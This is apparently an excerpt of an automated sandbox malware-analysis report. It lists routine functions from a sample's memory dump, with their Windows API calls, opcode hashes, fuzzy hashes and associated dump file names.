Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: fa09fceb78ebb2ccf2fbf2ed3077f22498901b3448383c557007de12e2d2da0f
Instruction ID: 5bab5d1adf56eb54b80e2dcb16cfd191dcc932e35c54cfeaadf31f7d7577d83b
Opcode Fuzzy Hash: fa09fceb78ebb2ccf2fbf2ed3077f22498901b3448383c557007de12e2d2da0f
Instruction Fuzzy Hash: B4F08236008790AACA272BB448057CBFB945F1F335F008A49F2FD162E2C77450D59732

Uniqueness

Uniqueness Score: -1.00%

Function 00320752 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00320776

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 35fee400656dab3ddf06bb9e4c7f28f7053af286ee115eb07be65e7c501d169d
Instruction ID: 842dd33483c73bc43022690aacc6d016943e7d98ee245d056bdc48d1c65f3197
Opcode Fuzzy Hash: 35fee400656dab3ddf06bb9e4c7f28f7053af286ee115eb07be65e7c501d169d
Instruction Fuzzy Hash: 23E086321041106ED326AB2DA845E7FABE9DFD1B20F15841EF5948B182CBB5E895DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00322128 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 0032215D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: ed6d0ae48ab27137871d03316e6296ec064968912e77d1b5d92aaeae55535fb5
Instruction ID: 5e76c962199a588104f5d07a590ed0fc7569eb0af3a069e07ede4a18b36ee837
Opcode Fuzzy Hash: ed6d0ae48ab27137871d03316e6296ec064968912e77d1b5d92aaeae55535fb5
Instruction Fuzzy Hash: E6D0C22061412022DA1737383C05BFF0A1A1FC6321F0B00A6B20A1B2D38F5408A2A2B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032B636 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0032B63C

Part of subcall function 0032B3C8: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0032B3E9

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction ID: 3a77290258bc5762b9eab8a0f5db47200be7141a18f101d8e4fe033bae5603b3
Opcode Fuzzy Hash: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction Fuzzy Hash: 8ED0C7306142197ADF436B61AC02A7EB7999B10344F008135BA4599191EBB1D9605655

Uniqueness

Uniqueness Score: -1.00%

Function 0032F747 Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0032F76F

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 183b61553dabad205207e339e741dcb296d1ab169d44f1ab85bae26b090f8b99
Instruction ID: 9a6e6a1bbe203ff4e0bfe7a92215e8cb98b529cdf9a653c6ea22897fa2249a68
Opcode Fuzzy Hash: 183b61553dabad205207e339e741dcb296d1ab169d44f1ab85bae26b090f8b99
Instruction Fuzzy Hash: 9CD012345482349DC233EB3CFC5675522B8F30D78CF500631F54989191C77455C0A612

Uniqueness

Uniqueness Score: -1.00%

Function 0032EEBD Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00322E88), ref: 0032EEE2

Part of subcall function 0032C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0032C769
Part of subcall function 0032C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032C77A
Part of subcall function 0032C758: IsDialogMessageW.USER32(00020486,?), ref: 0032C78E
Part of subcall function 0032C758: TranslateMessage.USER32(?), ref: 0032C79C
Part of subcall function 0032C758: DispatchMessageW.USER32(?), ref: 0032C7A6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: cd68988fbace2e510b805655e4d3af6ef0f3c317f651e4b8a6879f28e727e4ca
Instruction ID: e6e3cd85d1064244d313bb9381b3786116197b2af27fafcd1e7b6a9ba870347d
Opcode Fuzzy Hash: cd68988fbace2e510b805655e4d3af6ef0f3c317f651e4b8a6879f28e727e4ca
Instruction Fuzzy Hash: DBD09E71154700AED6132B51DE06F1E7AE6BF98B09F004554B249340B1C6A29D21AF02

Uniqueness

Uniqueness Score: -1.00%

Function 00320534 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 0032053E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4d4a6a22971671d7350263a7e4c19b17d0e9a4505c58d908d1f7ef80f7879bde
Instruction ID: 506ea4687d97b37f3c0d61860a2878ad3455acb06df45a27658228ac402b5364
Opcode Fuzzy Hash: 4d4a6a22971671d7350263a7e4c19b17d0e9a4505c58d908d1f7ef80f7879bde
Instruction Fuzzy Hash: 77D0CA70414221CFD3A68F39E808782BBE4AF09310B22883E90C9C2220E6709880CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0031AB1C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,0031AA1E), ref: 0031AB28

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 02cf88980024112d1e553293e942678cd96a1a4c9dba321bf895609bde0bdb8e
Instruction ID: 5a84563e77dbd9ba78c0667148085b8b6b48e7c4b9a004043dd04c4de71ae706
Opcode Fuzzy Hash: 02cf88980024112d1e553293e942678cd96a1a4c9dba321bf895609bde0bdb8e
Instruction Fuzzy Hash: BFC01234009545854E370A3498440D57623AA5A3677B5D396C065C90A1C3229CD3E502

Uniqueness

Uniqueness Score: -1.00%

Function 0032F32B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6cf67656b82d50e3d0e09cf7e523ef2dcf558c14bf045e05326852a9d2262e74
Instruction ID: 95c4827eb0145d612d68c782011107eeb7b466612c9ec7b0dc1d726238fb9b88
Opcode Fuzzy Hash: 6cf67656b82d50e3d0e09cf7e523ef2dcf558c14bf045e05326852a9d2262e74
Instruction Fuzzy Hash: 86B012AA2680137E365B91103C27D7603BCC0D0B21370803FF000C8040E4842C412071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F378 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 49fe78dca8280ef0227d8a2d58987d426e98e69fe849c561575dc42ca94710d8
Instruction ID: 2aee8b2f9d596bbb2e802f40d742a07564379db33cea95690b93e304c6f534ca
Opcode Fuzzy Hash: 49fe78dca8280ef0227d8a2d58987d426e98e69fe849c561575dc42ca94710d8
Instruction Fuzzy Hash: 1BB012AE2691127D368BD1143C23F3703BCC0C0B11374803FF004C8140D8801C411271

Uniqueness

Uniqueness Score: -1.00%

Function 0032F364 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5abc12c0f4b4350f39873a69e87ad332c56933c394f52c466d4e0fbe40597455
Instruction ID: c32be33d977e547fae81141a20c9ffc4dae945e7e372a3eed85c0e75d9568028
Opcode Fuzzy Hash: 5abc12c0f4b4350f39873a69e87ad332c56933c394f52c466d4e0fbe40597455
Instruction Fuzzy Hash: D5B012AE269212BD3ACBD1143C23F3702FCC0C0B11334813FF004C8540D8801C815171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F350 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8b8fb39863b15f2b1adb8bba00750fce94e839db77b2cad84ffed5499fc3c11c
Instruction ID: fdd9838e24c4a07c3651a93f4477bd82b7423ffa445300c7c00b1d8954db061c
Opcode Fuzzy Hash: 8b8fb39863b15f2b1adb8bba00750fce94e839db77b2cad84ffed5499fc3c11c
Instruction Fuzzy Hash: B9B012AA2781127D368BD1187C23E3603BCC0C0B11370853FF004C8140D4801C411571

Uniqueness

Uniqueness Score: -1.00%

Function 0032F35A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4036eeb6e0b2822f02374a1bee380231935300b07db223e3396365020d727bac
Instruction ID: 4716c852a0b53262dc6379dc3312402f7ebfb608dcdfa247053e7d5548030401
Opcode Fuzzy Hash: 4036eeb6e0b2822f02374a1bee380231935300b07db223e3396365020d727bac
Instruction Fuzzy Hash: 86B012AE2691127D368BD1143C23F3B02BCC0C0B15334C03FF404C8140D8801C415171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F346 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d92e6c928f10c07499befc42c89f119fba1bace7652545e52324b059806f3cfa
Instruction ID: 6761ae8ec63c8b00dad043c5d9bd458800cfe8ef7b951eb957df168e4564f71d
Opcode Fuzzy Hash: d92e6c928f10c07499befc42c89f119fba1bace7652545e52324b059806f3cfa
Instruction Fuzzy Hash: 56B012AA6680127D368BD1187D23E3602BCC0C0B11370863FF004CC140D4C01C421171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2e06dc966cf534aacd8465ca91c36cf88f41affb53dfc03aa5c119abfd859e07
Instruction ID: 38bb0bc00e60790dfc85e7c0222b0d765e379a14136107f4e5293a573263138f
Opcode Fuzzy Hash: 2e06dc966cf534aacd8465ca91c36cf88f41affb53dfc03aa5c119abfd859e07
Instruction Fuzzy Hash: 57B012BA6680127D368BD1143D23E3602BCC0C0B12330803FF004CC140D4C01D425171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a9e45577f8c01a2ad1678032b77c5b104924a1ca8f6e514a7d394d9793c4bd9a
Instruction ID: 4666e798a392428f6303209490133ed972212e62a38b347b4b548e3cffce44ad
Opcode Fuzzy Hash: a9e45577f8c01a2ad1678032b77c5b104924a1ca8f6e514a7d394d9793c4bd9a
Instruction Fuzzy Hash: 73B012AA2680127D368BD1543C23E3603BCC0C0B11370C43FF004C8340E4801C451171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2f2696418cbd62fe980a867def3fc36c0a7b5b9443795ef6582a14f4c24c86a9
Instruction ID: fb8d13243de9f7053df92daf2f630049395785863f98a1c4170fb6298db64d54
Opcode Fuzzy Hash: 2f2696418cbd62fe980a867def3fc36c0a7b5b9443795ef6582a14f4c24c86a9
Instruction Fuzzy Hash: 07B012BA2680127D368BD1143C23E3A02BCC0C0B16330C03FF404C8140D4801C419171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F396 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 561c4384ab7a49c1f7169110bf6f88ddfdbe2a0e149a778ae0f763a903d8fa85
Instruction ID: 74d09c9b00d21819928e9002b924346c8594e22053c4b7dc2a30980380850710
Opcode Fuzzy Hash: 561c4384ab7a49c1f7169110bf6f88ddfdbe2a0e149a778ae0f763a903d8fa85
Instruction Fuzzy Hash: D0B012AA6680127D368BD1143D23E3602BCC0C0B11330C03FF004CC340D4D01C4A1171

Uniqueness

